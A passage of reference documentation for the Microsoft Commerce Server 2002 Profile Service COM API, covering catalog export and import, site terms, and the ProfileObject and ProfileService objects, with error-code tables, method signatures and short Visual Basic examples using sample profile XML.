ERR_INVALID_MAPPEDDATATYPE | [C++] 0x800A00C6 [Visual Basic] &H800A00C6 198 | The property: [%0] in profile: [%1] is mapped to data member: [%2] of incorrect type
ERR_INVALID_PROFILEREF | [C++] 0x800A00C7 [Visual Basic] &H800A00C7 199 | The property: [%0] in profile: [%1] is referencing a profile: [%2] that does not exist.
ERR_INVALID_SITETERMREF | [C++] 0x800A00C8 [Visual Basic] &H800A00C8 200 | The property: [%0] in profile: [%1] is referencing a siteterm: [%2] that does not exist.

Remarks

You must call the Connect method before calling this method.

The exported XML document will conform to the schema specified in file MSCSProfileSchema.xml, and will contain both site terms and profile definitions.

If the bRemoveCredentials parameter is True, then the credentials (user name and password) will be removed from all connection strings. These credentials will have to be replaced before the catalog can be imported. If the catalog is imported through Commerce Server Manager, the user must enter a user name and password for each data source partition in the catalog. See Exporting Profile Schema for more information.

If the bRemoveCredentials parameter is False, then the credentials will be exported in plain text with the rest of the catalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

The following example exports the profile catalog to a file:

myBusinessDataAdmin2.ExportCatalogs("C:\myfolder\myProfileCatalog.xml",_
   bRemoveCredentials)

See Also

[C++] BusinessDataAdmin2 Object

[Visual Basic] BusinessDataAdmin2 Object


_BusinessDataAdmin2::GetSiteTerms Method [C++]

BusinessDataAdmin2.GetSiteTerms Method [Visual Basic]

Use this method to create an XML document containing the site terms.

Definition

[C++]
HRESULT _BusinessDataAdmin2::GetSiteTerms(
  BSTR sEncode
  IXMLDOMDocument** unnamed parameter
);
[Visual Basic]
Function GetSiteTerms(
  Optional sEncode As String
) As DOMDocument

Parameters

sEncode [C++]
[in, optional] A BSTR that contains the document encoding.
sEncode [Visual Basic]
A String that contains the document encoding.
unnamed parameter [C++]
[out, retval] A pointer used to return a DOMDocument object that will contain the site terms.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a DOMDocument object that contains the site terms.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
ERR_NOCONNECTION | [C++] 0x800A00BF [Visual Basic] &H800A00BF 191 | No connection is open to the database. The Connect() method should be called first.
ERR_PROFILEPATH_INVALID | [C++] 0x800A007C [Visual Basic] &H800A007C 124 | Invalid profile-path '%0'.
ERR_CATALOG_NOTFOUND | [C++] 0x800A0074 [Visual Basic] &H800A0074 116 | Cannot find catalog '%0'.
ERR_PROFILE_NOTFOUND | [C++] 0x800A0075 [Visual Basic] &H800A0075 117 | Cannot find profile '%0'.
ERR_SOURCE_NOTFOUND | [C++] 0x800A0071 [Visual Basic] &H800A0071 113 | Cannot find data-source '%0' in catalog '%1'.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The unnamed parameter contains valid data only if the method completed successfully.

[Visual Basic] The DOMDocument object returned by this property is valid only if the method completed successfully.

The sEncode parameter is used to specify the encoding within the document. It inserts the following tag in the document. <xml encoding = "<sEncode>"> It does not change how the site terms are encoded or perform any validation that the encoding in the document matches the sEncode parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'
set MyDoc = myBusinessDataAdmin2.GetSiteTerms()

See Also

[C++] BusinessDataAdmin2 Object

[Visual Basic] BusinessDataAdmin2 Object


_BusinessDataAdmin2::ImportCatalogs [C++]

BusinessDataAdmin2.ImportCatalogs [Visual Basic]

Use this method to import the profile catalog (profile schema) in an XML document to the business data store.

Definition

[C++]
HRESULT _BusinessDataAdmin2::ImportCatalogs(
  BSTR* sXMLDocument
);
[Visual Basic]
Sub ImportCatalogs(
  sXMLDocument As String
)

Parameters

sXMLDocument [C++]
[in] A pointer to a BSTR that contains the XML document containing the profile catalog to be imported.
sXMLDocument [Visual Basic]
A String that contains the XML document containing the profile catalog to be imported.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
ERR_NOCONNECTION | [C++] 0x800A00BF [Visual Basic] &H800A00BF 191 | No connection is open to the database. The Connect() method should be called first.
ERR_XML_PARSE | [C++] 0x800A007A [Visual Basic] &H800A007A 122 | Parse errors in XML document '%0', line %1, col %2. Reason: %3
ERR_BAD_NAMESPACE | [C++] 0x800A00CB [Visual Basic] &H800A00CB 203 | The xml does not contain the correct namespace.
ERR_MEMBER_INVALID_NEWDELETE | [C++] 0x800A00A2 [Visual Basic] &H800A00A2 162 | One or more profile-members have invalid attributes: isNew='1' and isDeleted='1'.
ERR_MISSING_CATALOG | [C++] 0x800A00CD [Visual Basic] &H800A00CD 205 | The file does not contain any catalogs.
ERR_MEMBER_INVALID_NEWMODIFIED | [C++] 0x800A00A4 [Visual Basic] &H800A00A4 164 | One or more profile-members have invalid attributes: isNew='1' and isModified='1'.
ERR_INVALID_CATALOG_NAME | [C++] 0x800A00CC [Visual Basic] &H800A00CC 204 | The catalog '%0' is an invalid name.
ERR_CATALOG_DELETEFAILED | [C++] 0x800A0079 [Visual Basic] &H800A0079 121 | Cannot delete catalog '%0'. Source: '%1' Reason: '%2'
ERR_CATALOG_EXISTS | [C++] 0x800A006E [Visual Basic] &H800A006E 110 | Catalog '%0' already exists.
ERR_CATALOG_NOTFOUND | [C++] 0x800A0074 [Visual Basic] &H800A0074 116 | Cannot find catalog '%0'.
ERR_SOURCE_INVALIDTYPE | [C++] 0x800A00B0 [Visual Basic] &H800A00B0 176 | '%0' is not a valid source type.
ERR_NO_SRCINFOS | [C++] 0x800A0087 [Visual Basic] &H800A0087 135 | No source-infos were specified for data-source '%0'.
ERR_TOO_MANY_SRCINFOS | [C++] 0x800A0088 [Visual Basic] &H800A0088 136 | More than one source-info is specified for non-partitioned data-source '%0'. A non-partitioned data source may only have one source-info.
ERR_NOT_ONE_DEFAULT_SRCINFO | [C++] 0x800A0089 [Visual Basic] &H800A0089 137 | One source-info must be marked as default for data-source '%0'.
ERR_TOO_MANY_PARTITIONS | [C++] 0x800A00BA [Visual Basic] &H800A00BA 186 | The data source '%0' contains %1 partitions. A single data source cannot have more than %2 partitions.
ERR_SOURCE_INVALIDNAME | [C++] 0x800A00A9 [Visual Basic] &H800A00A9 169 | The data source '%0' cannot be created because the source name contains invalid characters: %1
ERR_DUPLICATE_SOURCENAME | [C++] 0x800A00BD [Visual Basic] &H800A00BD 189 | A Data-Source already exists with the name '%0'.
ERR_SOURCE_EXISTS | [C++] 0x800A0066 [Visual Basic] &H800A0066 102 | Error: The Data Source '%0' already exists and cannot be created or modified.
ERR_DUPLICATE_PARTITIONNAME | [C++] 0x800A00BE [Visual Basic] &H800A00BE 190 | A Data-Source partition already exists with the name '%0'.
ERR_SRCINFO_SRCTYPE | [C++] 0x800A00B3 [Visual Basic] &H800A00B3 178 | The source type of data-source '%0' cannot be modified.
ERR_SRCINFO_NOTFOUND | [C++] 0x800A008A [Visual Basic] &H800A008A 138 | The source-info '%1' could not be found in data-source '%0'.
ERR_ATTRIBUTE_INVALIDNAME | [C++] 0x800A00A8 [Visual Basic] &H800A00A8 168 | The attribute '%0' cannot be created because the attribute name contains invalid characters: %1
ERR_ATTRIBUTE_EXISTS | [C++] 0x800A0085 [Visual Basic] &H800A0085 133 | Duplicate names are not allowed: '%0' already exists on '%1'.
ERR_TABLE_INVALIDNAME | [C++] 0x800A00B1 [Visual Basic] &H800A00B1 177 | The data object '%0' cannot be created because the object name contains invalid characters: %1
ERR_TABLE_EXISTS | [C++] 0x800A0082 [Visual Basic] &H800A0082 130 | The data-object '%0' already exists. (Source '%1', Catalog '%2'.)
ERR_TABLE_NOTFOUND | [C++] 0x800A0083 [Visual Basic] &H800A0083 131 | The data-object '%0' could not be found. (Source '%1', Catalog '%2'.)
ERR_COLUMN_EXISTS | [C++] 0x800A007F [Visual Basic] &H800A007F 127 | The data-member '%0' already exists.
ERR_COLUMN_NOTFOUND | [C++] 0x800A007E [Visual Basic] &H800A007E 126 | The data-member '%0' could not be found.
ERR_INVALID_TYPEDEF | [C++] 0x800A0078 [Visual Basic] &H800A0078 120 | The data type '%1' for source member '%0' is invalid.
ERR_INVALID_TYPEDEF_FOR_SOURCE | [C++] 0x800A00B7 [Visual Basic] &H800A00B7 183 | The data type '%1' for source member '%0' is invalid (data type invalid for source type '%2').
ERR_MEMBER_EXISTS | [C++] 0x800A0077 [Visual Basic] &H800A0077 119 | Profile member '%1' cannot be created. A property or group named '%0' already exists within the profile.
ERR_MEMBER_NOTFOUND | [C++] 0x800A0081 [Visual Basic] &H800A0081 129 | The profile-member '%0' could not be found.
ERR_MEMBER_NOT_GROUP | [C++] 0x800A007D [Visual Basic] &H800A007D 125 | The profile-member corresponding to group '%0' in the XML document is not a group.
ERR_PRIMARYKEY | [C++] 0x800A00AB [Visual Basic] &H800A00AB 171 | Profile '%0' could not be created/updated because it does not have exactly one primary key defined.
ERR_JOINKEY | [C++] 0x800A00AC [Visual Basic] &H800A00AC 172 | Profile '%0' could not be created/updated because it does not have exactly one join key defined.
ERR_INVALIDTYPE_RDNATTR | [C++] 0x800A00AD [Visual Basic] &H800A00AD 173 | The profile-property '%0' is marked as an RDN-attribute, but is not of type 'STRING'.
ERR_INVALID_HASHKEY | [C++] 0x800A00AE [Visual Basic] &H800A00AE 174 | The profile-property '%0' is marked as a hashing key, but is not of type 'STRING'.
ERR_INVALID_UNIQUEKEY | [C++] 0x800A00AF [Visual Basic] &H800A00AF 175 | The profile-property '%0' is marked as a unique, primary, and/or join key, but is not of type 'STRING' or 'NUMBER'.
ERR_INVALIDMAP | [C++] 0x800A00B3 [Visual Basic] &H800A00B3 179 | The profile property '%0' is mapped to a data member in a source which is not referenced by the join key.
ERR_DUPLICATEJOINMAP | [C++] 0x800A00B4 [Visual Basic] &H800A00B4 180 | The join key '%0' references more than one data member from a single source. A join key may map to only one member from a data object.
ERR_KEY_MULTIVALUE | [C++] 0x800A00BB [Visual Basic] &H800A00BB 187 | The property '%0' cannot be multi-valued because it is a key.
ERR_OLEDB_MULTIVAL | [C++] 0x800A00BC [Visual Basic] &H800A00BC 188 | The property '%0' cannot be marked as multi-valued. It references a data member from an OLEDB-ANSI source of type '%1'. Only members of type 'STRING' may be marked as multi-valued.
ERR_VALUE_TOO_LONG | [C++] 0x800A00B8 [Visual Basic] &H800A00B8 184 | The database field '%0' cannot be updated. The value '%1' exceeds the maximum length of %2 characters.
ERR_CACHEDPROP_IS_PRIMARYKEY | [C++] 0x800A00B5 [Visual Basic] &H800A00B5 181 | The primary key for this profile may not be a cached (non-persistent) property.
ERR_CACHEDPROP_IS_JOINKEY | [C++] 0x800A00B6 [Visual Basic] &H800A00B6 182 | The join key for this profile may not be a cached (non-persistent) property.
ERR_MULTIPLE_RDNATTRS | [C++] 0x800A008D [Visual Basic] &H800A008D 141 | The profile '%0' contains multiple properties marked as the RDN Attribute for the data source '%1'. Exactly one RDN Attribute must be defined for each LDAPv3-compliant data source.
ERR_MULTIPLE_HASHKEYS | [C++] 0x800A008E [Visual Basic] &H800A008E 142 | The profile '%0' contains multiple properties marked as the hashing key.
ERR_INVALID_RDNATTR | [C++] 0x800A008F [Visual Basic] &H800A008F 143 | The profile-property '%0' is marked as an RDN-attribute, but does not map to an LDAPv3-compliant data-source.
ERR_PROP_INVALID_HASHKEY | [C++] 0x800A0090 [Visual Basic] &H800A0090 144 | The profile-property '%0' is marked as a hashing-key, but does not map to any partitioned data-sources.
ERR_NO_RDN_ATTRIBUTE | [C++] 0x800A0091 [Visual Basic] &H800A0091 145 | The profile '%0' uses an LDAPv3-compliant data-source, but no property is marked as the RDN-attribute. Exactly one RDN Attribute must be defined for each LDAPv3-compliant data source.
ERR_INVALID_DATATYPE | [C++] 0x800A00C0 [Visual Basic] &H800A00C0 192 | The property: [%0] in profile: [%1] is mapped to an incorrect data type.
ERR_INVALID_MARKEDTYPEREF | [C++] 0x800A00C1 [Visual Basic] &H800A00C1 193 | The property: [%0] in profile: [%1] is incorrectly marked as a reference type.
ERR_INVALID_MULTI | [C++] 0x800A00C2 [Visual Basic] &H800A00C2 194 | The property: [%0] in profile: [%1] is incorrectly marked as multivalued.
ERR_INVALID_TYPEREF | [C++] 0x800A00C3 [Visual Basic] &H800A00C3 195 | The property: [%0] in profile: [%1] is referencing an invalid type.
ERR_INVALID_PROPTYPE | [C++] 0x800A00C4 [Visual Basic] &H800A00C4 196 | The property: [%0] in profile: [%1] is of incorrect type.
ERR_INVALID_MAPPEDDATA | [C++] 0x800A00C5 [Visual Basic] &H800A00C5 197 | The property: [%0] in profile: [%1] is mapped to a data member: [%2] but this data member does not exist.
ERR_INVALID_MAPPEDDATATYPE | [C++] 0x800A00C6 [Visual Basic] &H800A00C6 198 | The property: [%0] in profile: [%1] is mapped to data member: [%2] of incorrect type
ERR_INVALID_PROFILEREF | [C++] 0x800A00C7 [Visual Basic] &H800A00C7 199 | The property: [%0] in profile: [%1] is referencing a profile: [%2] that does not exist.
ERR_INVALID_SITETERMREF | [C++] 0x800A00C8 [Visual Basic] &H800A00C8 200 | The property: [%0] in profile: [%1] is referencing a siteterm: [%2] that does not exist.

Remarks

You must call the Connect method before calling this method.

The XML data in the parameter sXMLDocument must contain a single profile catalog, and it must conform to the schema in the file MSCSProfileSchema.xml.

If the catalog you want to import was exported without credentials you will need to add credentials for each data source in the catalog before it can be imported.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

The following example imports a catalog from the file ProfileCatalog.xml:

myBusinessDataAdmin2.ImportCatalogs("C:\myFolder\ProfileCatalog.xml")

See Also

[C++] BusinessDataAdmin2 Object

[Visual Basic] BusinessDataAdmin2 Object


ProfileObject Object[C++]

ProfileObject Object [Visual Basic]

Use this object to retrieve the data in specific profile object instances and modify the property values for that profile object. In addition, use the ProfileObject object to examine and navigate the property attributes of a profile object.

ProgID: | Commerce.ProfileObject (Externally creatable)
COM Class Name: | ProfileObject
Type Library Name: | Microsoft Commerce 2002 Profile Service Type Library
DLL Name: | mscsups.dll
Threading Model: | Both
[C++]
COM Interface Name: | IProfileObject2
Interface ID Constant: | IID_IProfileObject2
Header File: | mscsups.h, mspu_guids.h
[C++]

In C++, use the IProfileObject interface to access the properties and methods of the ProfileObject object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the profile object.
Update | Saves the profile data to the underlying data store.
UpdateProfileXML | Changes the properties of the ProfileObject object.
[Visual Basic]
Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the profile object.
Update | Saves the profile data to the underlying data store.
UpdateProfileXML | Changes the properties of the ProfileObject object.

Properties

[C++]
Property | Type | Description
Fields | Fields | Stores the profile property collection. This property is read-only.
[Visual Basic]
Property | Type | Description
Fields | Object | Stores the profile property collection. This property is read-only.

Remarks

The ProfileObject object maintains backward compatibility with the AUO 1.0 object (released in Microsoft Site Server 3.0 Commerce Edition) by inheriting from the IADs interface. Refer to the MSDN ADSI documentation for descriptions of the methods of the IADs interface.

The ProfileObject object supports extended dot notation. For example, using extended dot notation, the following:

oProfileObject.Fields("Address.Zipcode")

is equivalent to:

oProfileObject.Fields("Address").Value("Zipcode")

The first technique retrieves the Zipcode value in a single call to Fields.Value, while the second technique requires two calls to retrieve the same value.

The ProfileObject object also provides smart navigation into profiles. For example, using smart navigation, the following:

oProfileObject.Address.ZipCode

is equivalent to:

oProfileObject.Fields("Address.Zipcode")

In general, the CreateProfile method of the ProfileService object is used to instantiate this object.

See Also

[C++] Profile Objects

[C++] Profile Schema

[C++] Profile XML Structures

[C++] ProfileService Object

[Visual Basic] Profile Objects

[Visual Basic] Profile Schema

[Visual Basic] Profile XML Structures

[Visual Basic] ProfileService Object


IProfileObject2 Methods [C++]

ProfileObject Methods [C++]

Methods

[C++]
Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the profile object.
Update | Saves the profile data to the underlying data store.
UpdateProfileXML | Changes the properties of the ProfileObject object.
[Visual Basic]
Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the profile object.
Update | Saves the profile data to the underlying data store.
UpdateProfileXML | Changes the properties of the ProfileObject object.


IProfileObject2::GetProfileXML Method [C++]

ProfileObject.GetProfileXML Method [Visual Basic]

Use this method to retrieve the XML schema and data of the profile object.

Definition

[C++]
HRESULT IProfileObject2::GetProfileXML (
  XMLRetrieveEnum eRetrieveEnum,
  VARIANT_BOOL bAttributeCentric,
  BSTR* pbstrXML
);
[Visual Basic]
Function GetProfileXML (
  eRetrieveEnum As XMLRetrieveEnum,
  bAttributeCentric As Boolean
) As String

Parameters

eRetrieveEnum [C++]
[in] An Enum that indicates whether to retrieve the XML schema, data, or both.
eRetrieveEnum [Visual Basic]
[in] An Enum that indicates whether to retrieve the XML schema, data, or both.
bAttributeCentric [C++]
[in] A VARIANT_BOOL that indicates the XML output format. Set this parameter to True (1) to retrieve the XML in an attribute-centric format, and to False (0) to retrieve the XML in an element-centric format.
bAttributeCentric [Visual Basic]
[in] A Boolean that indicates if the XML output format. Set this parameter to True (1) to retrieve the XML in an attribute-centric format, and to False (0) to retrieve the XML in an element-centric format.
pbstrXML [C++]
[out, retval] A pointer to a BSTR that contains the resulting XML fragment.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] This method returns a String containing the XML representation of the profile object.

Error Values

[C++] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

[C++]

The pbstrXML parameter contains valid data only if the method completes successfully.

The following table defines the possible values for XMLRetrieveEnum.

Name | Value | Description
psRetrieveInvalidValue | 0 | Invalid option
psRetrieveSchemaAndData | 1 | Both the schema and data are retrieved.
psRetrieveDataOnly | 2 | Only the data is retrieved.
psRetrieveSchemaOnly | 3 | Only the schema is retrieved.

For information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sXMLProfile is a String, oProfileObject is a UserObject profile

sXMLProfile = oProfileObject.GetProfileXML(psRetrieveDataOnly, True)

' The attribute-centric sXMLProfile string now contains:
   <?xml version="1.0"?>
   <ProfileDocument>
   <UserObject>
      <AccountInfo  org_id="{590858E1-08A7-11D3-B8C4-00104B95AE0E}"
         account_status="1" date_registered="2000- 6- 5T 0: 0: 0">
      </AccountInfo>
      <GeneralInfo  user_id="{590858DB-08A7-11D3-B8C4-00104B95FFFF}"
         logon_name="jilluser@microsoft.com"
         user_security_password="password" user_title="" last_name="User"
         first_name="Jill" user_id_changed_by="MyAdminID">
      </GeneralInfo>
   </UserObject>
   </ProfileDocument>

sXMLProfile = oProfileObject.GetProfileXML(psRetrieveDataOnly, False)

' The element-centric sXMLProfile string now contains:
   <?xml version="1.0"?>
   <ProfileDocument>
   <UserObject>
      <AccountInfo>
         <org_id>{590858E1-08A7-11D3-B8C4-00104B95AE0E}</org_id>
         <account_status>1</account_status>
         <date_registered>2000- 6- 5T 0: 0: 0</date_registered>
      </AccountInfo>
      <GeneralInfo
         <user_id>{590858DB-08A7-11D3-B8C4-00104B95FFFF}</user_id>
         <logon_name>jilluser@microsoft.com</logon_name>
         <user_security_password>password</user_security_password>
         <user_title></user_title>
         <last_name>User</last_name>
         <first_name>Jill</first_name>
         <user_id_changed_by>MyAdminID</user_id_changed_by>
      </GeneralInfo>
   </UserObject>
   </ProfileDocument>

See Also

[C++] ProfileObject Object

[C++] IProfileObject2::get_Fields

[C++] Profile XML Structures

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields

[Visual Basic] Profile XML Structures


IProfileObject2::Update Method [C++]

ProfileObject.Update Method [Visual Basic]

Use this method to save ProfileObject object data to the underlying data store.

Definition

[C++]
HRESULT IProfileObject2::Update(
);
[Visual Basic]
Sub Update()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

The Update method commits the object to the data store.

Any changes made using the IADs interface routines are committed to the database.

Use the Fields property to access the ProfileObject object data.

See Also

[C++] ProfileObject Object

[C++] IProfileObject2::get_Fields

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileObject2::UpdateProfileXML Method [C++]

ProfileObject2.UpdateProfileXML Method [Visual Basic]

Use this method to change the properties of the ProfileObject object.

Definition

[C++]
HRESULT IProfileObject2::UpdateProfileXML(
  BSTR bstrProfileXML,
  XMLFormatEnum eXMLFormat
);
[Visual Basic]
Sub UpdateProfileXML(
  bstrProfileXML As String,
  eXMLFormat As XMLFormatEnum
)

Parameters

bstrProfileXML [C++]
[in] A BSTR that contains the profile XML data.
bstrProfileXML [Visual Basic]
A String that contains the profile XML data.
eXMLFormat [C++]
[in] An XMLFormatEnum enumeration that contains the XML format.
eXMLFormat [Visual Basic]
An XMLFormatEnum enumeration that contains the XML format.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

Use the Update method to commit the property changes to the data store.

This method updates the properties of the ProfileObject object with the values in the bstrProfileXML parameter. A partial update is allowed. All properties provided in the XML data will be updated.

Properties that are marked as a join key cannot be updated.

The following table shows the values in the XMLFormatEnum enumeration, their associated names, and describes their use.

Name | Value | Description
eInvalid | 0 | Reserved for future use.
eAttributeCentric | 1 | Attribute centric XML format.
eElementCentric | 2 | Element centric XML format.
[Visual Basic]

Example

'sXMLProfile is a string containing:

<?xml version="1.0"?>

<User email="Joe@Cool.com" guid="123" creationDate="3/27/00" version="5" FavoriteColors="e1 e2">
  <FavoriteColors id="e1">Red</FavoriteColors>
  <FavoriteColors id="e2">Green</FavoriteColors>
  <HomeAddress address="4149 Beach Drive" city="San Diego" state="CA">
  </HomeAddress>
  <SecureInfo password="*****" creditCard="1234565">
  </SecureInfo>
</User>

myProfileObject2.UpdateProfileXML(sXMLProfile, eAttributeCentric)

See Also

[C++] ProfileObject Object

[C++] IProfileObject2::get_Fields

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileObject2 Properties [C++]

ProfileObject Properties [C++]

Properties

[C++]
Property | Type | Description
Fields | Fields | Stores the profile property collection. This property is read-only.
[Visual Basic]
Property | Type | Description
Fields | Object | Stores the profile property collection. This property is read-only.


IProfileObject2::get_Fields Property[C++]

ProfileObject.Fields Property [Visual Basic]

The Fields property is a read-only Fields collection that contains the profile property data for the ProfileObject object. Read-only refers to the inability to add or delete members (profile properties) of the Fields collection. This property is the default property of the ProfileObject object. Use this property to set and retrieve profile property values and to navigate the attribute list of the properties.

Definition

[C++]
HRESULT IProfileObject2::get_Fields(
  Fields** ppFields
);
[Visual Basic]
Property Fields As Object

Parameters

ppFields [C++]
[out, retval] The address of a pointer to a Fields collection used to return the profile object properties.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the following Error Values section for more details.

Error Values

[C++] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property of the ProfileService object stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

The Fields collection is similar to an ADO Fields collection object. The following ADO Fields methods and properties are supported:

  • Count
  • Item
  • _NewEnum

A member of the Fields collection is a Field object that represents a single property or property group of a ProfileObject object. The Field object is similar to an ADO Field object. The following ADO Field methods and properties are supported:

  • Properties - Returns the read-only Attributes collection.
  • DefinedSize - Retrieves the defined size of the data type.
  • Name
  • Type
  • Value - When dealing with implementations involving the encryption of profile properties, note that the KeyIndex Field object requires special consideration in that the Value property of this object is read-only. Any assignment to the Value property will result in an error.

The Attributes collection is represented as an ADO Properties object. The following ADO Properties methods and properties are supported:

  • Count
  • Item
  • _NewEnum

Use the Update method of the ProfileObject object to save any changed profile data in the underlying data store.

The Fields property of the ProfileObject object supports extended dot notation for increased performance. For example, using extended dot notation, the following:

oProfileObject.Fields("Address.Zipcode")

is equivalent to:

oProfileObject.Fields("Address").Value("Zipcode")

For information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppFields parameter contains valid data only if the property is accessed successfully.

See Also

[C++] ProfileObject Object

[C++] ProfileService Object

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileService Object


ProfileService Object [C++]

ProfileService Object [Visual Basic]

Use this object to create, delete, and retrieve ProfileObject objects.

ProgID: | Commerce.ProfileService (Externally creatable)
COM Class Name: | ProfileService
Type Library Name: | Microsoft Commerce 2002 Profile Service Type Library
DLL Name: | mscsups.dll
Threading Model: | Both
[C++]
COM Interface Name: | IProfileService2
Interface ID Constant: | IID_IProfileService2
Header File: | mscsups.h, mspu_guids.h
[C++]

In C++, use the ProfileService2 interface to access the properties and methods of the ProfileService object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object from XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
UnBind | Clears the user credentials for accessing the underlying Profiles store.
[Visual Basic]
Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object from XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
UnBind | Clears the user credentials for accessing the underlying Profiles store.

Properties

[C++]
Property | Type | Description
Errors | Errors | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.
[Visual Basic]
Property | Type | Description
Errors | Object | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.

Remarks

The ProfileService object implements read/write run-time access for ProfileObject objects and read-only access for profile definitions.

The ProfileService object provides run-time access to a profile object, which is a specific instantiation of a profile schema. The Profile definition designer module in Commerce Server Business Desk and the Profiles resource in Commerce Server Manager provide design-time access for modifying the profile schema.

In a Web-based application context, the ProfileService object is intended to be created and initialized in the Global.asa file for the application. The ProfileObject objects are intended to be created within page scope.

If you create a COM+ application, you cannot make calls from within that application to the ProfileService object.

Call the Initialize method before you use any other ProfileService method or property.

See Also

[C++] Profile Objects

[C++] Profile Schema

[C++] Profile XML Structures

[C++] ProfileObject Object

[Visual Basic] Profile Objects

[Visual Basic] Profile Schema

[Visual Basic] Profile XML Structures

[Visual Basic] ProfileObject Object


IProfileService2 Methods [C++]

PofileService Methods [Visual Basic]

Methods

[C++]
Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object from XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
UnBind | Clears the user credentials for accessing the underlying Profiles store.
[Visual Basic]
Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object from XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
